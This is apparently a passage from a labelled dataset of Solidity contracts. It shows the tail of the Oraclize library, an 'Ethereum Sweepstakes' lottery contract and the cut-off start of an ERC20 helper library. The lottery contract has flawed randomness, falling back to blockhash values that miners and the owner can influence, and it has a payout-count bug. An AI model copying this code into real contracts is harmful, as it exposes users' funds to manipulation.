uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract CoinInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract SweepsToken is CoinInterface {
string public constant symbol = "SWEEP";
string public constant name = "Ethereum Sweepstakes SWEEP Token";
uint256 _totalSupply = 4000000;
address public owner;
mapping(address => uint256) tokBalance;
function SweepsToken() public {
owner = msg.sender;
tokBalance[owner] = _totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokBalance[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(msg.sender == owner);
if (tokBalance[msg.sender] >= _amount && _amount > 0 && tokBalance[_to] + _amount > tokBalance[_to]) {
tokBalance[msg.sender] -= _amount;
tokBalance[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
}
contract EthereumSweepstakes is usingOraclize {
string public constant name = "Ethereum Sweepstakes";
uint constant max_tickets = 4000000;
address public owner;
uint public sweepsCreationTime;
uint256 withdrawamount;
enum SweepsStates {
OPEN,
CLOSED,
DRAWING_WINNER,
DRAWING_SECONDARY_WINNERS,
DRAWING_TERTIARY_A_WINNERS,
DRAWING_TERTIARY_B_WINNERS,
DRAWING_TERTIARY_C_WINNERS,
DRAWING_TERTIARY_D_WINNERS,
WINNERS_PAID_SWEEPS_COMPLETE
}
struct JackPots {
uint primaryJackpot;
uint secondJackPot;
uint tertiaryAJackPot;
uint tertiaryBJackPot;
uint tertiaryCJackPot;
uint tertiaryDJackPot;
uint numSecondaryWinners;
uint numTertiaryAWinners;
uint numTertiaryBWinners;
uint numTertiaryCWinners;
uint numTertiaryDWinners;
}
JackPots public jackpots;
SweepsStates public sweepsState;
SweepsToken sweepsToken;
address[] public drawPool;
uint numTokensSold;
uint numTertiaryAWinnersPaidOut;
uint numTertiaryBWinnersPaidOut;
uint numTertiaryCWinnersPaidOut;
uint numTertiaryDWinnersPaidOut;
uint randomNumber;
modifier atState(SweepsStates _state) {
require(sweepsState == _state);
_;
}
modifier StateTransitions() {
if ((now >= sweepsCreationTime + 375 days) && sweepsState == SweepsStates.OPEN) { sweepsState = SweepsStates.CLOSED; }
if (sweepsState == SweepsStates.CLOSED) { sweepsState = SweepsStates.DRAWING_WINNER; }
_;
}
modifier onlyBy(address _account)
{
require(msg.sender == _account);
_;
}
event tickets_bought(string _msg, uint _numTickets);
event winner_announced(address _winner, uint _winnings);
function EthereumSweepstakes () public {
owner = msg.sender;
numTokensSold = 0;
sweepsState = SweepsStates.OPEN;
sweepsToken = new SweepsToken();
sweepsCreationTime = now;
}
function management() public payable
onlyBy(owner)
{
require(withdrawamount > 0);
owner.transfer(withdrawamount);
withdrawamount = 0;
}
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
function calculateJackpots() private {
jackpots.primaryJackpot = ((numTokensSold * 375 * 10**18)/1000) ;
jackpots.secondJackPot = ((numTokensSold * 375 * 10**18)/100000);
jackpots.tertiaryAJackPot = ((numTokensSold * 375 * 10**18)/1000000);
jackpots.tertiaryBJackPot = ((numTokensSold * 375 * 10**18)/10000000);
jackpots.tertiaryCJackPot = ((numTokensSold * 375 * 10**18)/100000000);
jackpots.tertiaryDJackPot = ((numTokensSold * 375 * 10**18)/1000000000);
jackpots.numSecondaryWinners = min(10, numTokensSold > 1 ? (numTokensSold-1) : 0);
jackpots.numTertiaryAWinners = min(100, numTokensSold > 11 ? (numTokensSold-11) : 0);
jackpots.numTertiaryBWinners = min(1000, numTokensSold > 111 ? (numTokensSold-111) : 0);
jackpots.numTertiaryCWinners = min(10000, numTokensSold > 1111 ? (numTokensSold-1111) : 0);
jackpots.numTertiaryDWinners = min(100000, numTokensSold > 11111 ? (numTokensSold-11111) : 0);
}
function buyTokens() public payable
StateTransitions
atState(SweepsStates.OPEN)
returns(bool success)
{
require(numTokensSold < max_tickets);
uint tokensBought = 0;
uint etherReceived = msg.value/(10**18);
uint tokensRemaining = sweepsToken.balanceOf(this);
assert(tokensRemaining > 0);
require(etherReceived <= 10);
if (tokensRemaining >= etherReceived) {
tokensBought = etherReceived;
tokensRemaining -= etherReceived;
} else {
tokensBought = tokensRemaining;
tokensRemaining = 0;
}
for (uint i = 0; i < tokensBought; i++) {
drawPool.push(msg.sender);
numTokensSold++;
}
tickets_bought("Payment received; Sweeps tokens sent", tokensBought);
if (tokensRemaining <= 0) {
sweepsState = SweepsStates.CLOSED;
}
withdrawamount += ((tokensBought*10**18)*40)/100;
if (sweepsToken.transfer(msg.sender, tokensBought) == false) {
revert();
}
return true;
}
function updateRandomNumber(uint numBytes, uint callBackGas) private
onlyBy(owner)
{
uint N = numBytes;
uint delay = 0;
oraclize_newRandomDSQuery(delay, N, callBackGas);
}
function __callback(bytes32 _queryId, string _result, bytes _proof)
{
if (msg.sender != oraclize_cbAddress()) {
revert();
}
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
randomNumber = uint(block.blockhash(block.number-1));
} else {
randomNumber = uint(keccak256(_result));
}
if (sweepsState == SweepsStates.DRAWING_WINNER) {
require(numTokensSold >= 1);
sweepsState = SweepsStates.DRAWING_SECONDARY_WINNERS;
uint rand = randomNumber % numTokensSold;
var endIndex = numTokensSold - 1;
address primaryWinner = drawPool[rand];
drawPool[rand] = drawPool[endIndex];
delete drawPool[endIndex];
--numTokensSold;
winner_announced(primaryWinner, jackpots.primaryJackpot);
primaryWinner.transfer(jackpots.primaryJackpot);
}
}
function closeOutSweeps() public payable
StateTransitions
onlyBy(owner)
atState(SweepsStates.DRAWING_WINNER)
returns(bool result)
{
calculateJackpots();
oraclize_setProof(proofType_Ledger);
updateRandomNumber(32, 1000000);
return true;
}
function drawWinners(uint numWinners, uint jackpot, uint shift) payable
onlyBy(owner)
{
require(numWinners > 0);
uint rand = randomNumber ^ uint(block.blockhash(block.number-1));
uint winnerIndex;
address[] memory winnerAddresses = new address[](numWinners);
uint bitMask = uint(0x3FFFFF);
uint endIndex = numTokensSold - 1;
for (uint j = 0; j < numWinners; j++) {
winnerIndex = uint(rand & bitMask) % numTokensSold;
rand >>= shift;
if (j > 255) {
rand ^= (rand << 104);
rand ^= (rand >> 136);
rand ^= (rand << 40);
rand = (rand ^ uint(block.blockhash(block.number-1)));
}
winnerAddresses[j] = drawPool[winnerIndex];
drawPool[winnerIndex] = drawPool[endIndex];
delete drawPool[endIndex];
--endIndex;
--numTokensSold;
}
for (j = 0; j < numWinners; j++) {
winner_announced(winnerAddresses[j], jackpot);
winnerAddresses[j].transfer(jackpot);
}
}
function drawSecondaryWinners() public payable
onlyBy(owner)
atState(SweepsStates.DRAWING_SECONDARY_WINNERS)
{
require(numTokensSold > 1);
sweepsState = SweepsStates.DRAWING_TERTIARY_A_WINNERS;
drawWinners(jackpots.numSecondaryWinners, jackpots.secondJackPot, 22);
}
function drawTertiaryAWinners(uint numToProcess) public payable
onlyBy(owner)
atState(SweepsStates.DRAWING_TERTIARY_A_WINNERS)
{
require(numTokensSold > 1);
require(numToProcess > 0);
uint numWinnersToProcess = min(numToProcess, jackpots.numTertiaryAWinners - numTertiaryAWinnersPaidOut);
if (numWinnersToProcess < numToProcess) {
sweepsState = SweepsStates.DRAWING_TERTIARY_B_WINNERS;
}
numTertiaryAWinnersPaidOut += numWinnersToProcess;
drawWinners(jackpots.numTertiaryAWinners, jackpots.tertiaryAJackPot, 1);
}
function drawTertiaryBWinners(uint numToProcess) public payable
onlyBy(owner)
atState(SweepsStates.DRAWING_TERTIARY_B_WINNERS)
{
require(numTokensSold > 1);
require(numToProcess > 0);
uint numWinnersToProcess = min(numToProcess, jackpots.numTertiaryBWinners - numTertiaryBWinnersPaidOut);
if (numWinnersToProcess < numToProcess) {
sweepsState = SweepsStates.DRAWING_TERTIARY_C_WINNERS;
}
numTertiaryBWinnersPaidOut += numWinnersToProcess;
drawWinners(numWinnersToProcess, jackpots.tertiaryBJackPot, 1);
}
function drawTertiaryCWinners(uint numToProcess) public payable
onlyBy(owner)
atState(SweepsStates.DRAWING_TERTIARY_C_WINNERS)
{
require(numTokensSold > 1);
require(numToProcess > 0);
uint numWinnersToProcess = min(numToProcess, jackpots.numTertiaryCWinners - numTertiaryCWinnersPaidOut);
if (numWinnersToProcess < numToProcess) {
sweepsState = SweepsStates.DRAWING_TERTIARY_D_WINNERS;
}
numTertiaryCWinnersPaidOut += numWinnersToProcess;
drawWinners(numWinnersToProcess, jackpots.tertiaryCJackPot, 1);
}
function drawTertiaryDWinners(uint numToProcess) public payable
onlyBy(owner)
atState(SweepsStates.DRAWING_TERTIARY_D_WINNERS)
{
require(numTokensSold > 1);
require(numToProcess > 0);
uint numWinnersToProcess = min(numToProcess, jackpots.numTertiaryDWinners - numTertiaryDWinnersPaidOut);
if (numWinnersToProcess < numToProcess) {
sweepsState = SweepsStates.WINNERS_PAID_SWEEPS_COMPLETE;
}
numTertiaryDWinnersPaidOut += numWinnersToProcess;
drawWinners(numWinnersToProcess, jackpots.tertiaryDJackPot, 1);
}
function Fund_Contract () public payable {}
function () public payable {
buyTokens();
}
function cleanUp() public payable
onlyBy(owner)
{
require(sweepsState > SweepsStates.DRAWING_WINNER);
selfdestruct(owner);
}
} | 0 | 830 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
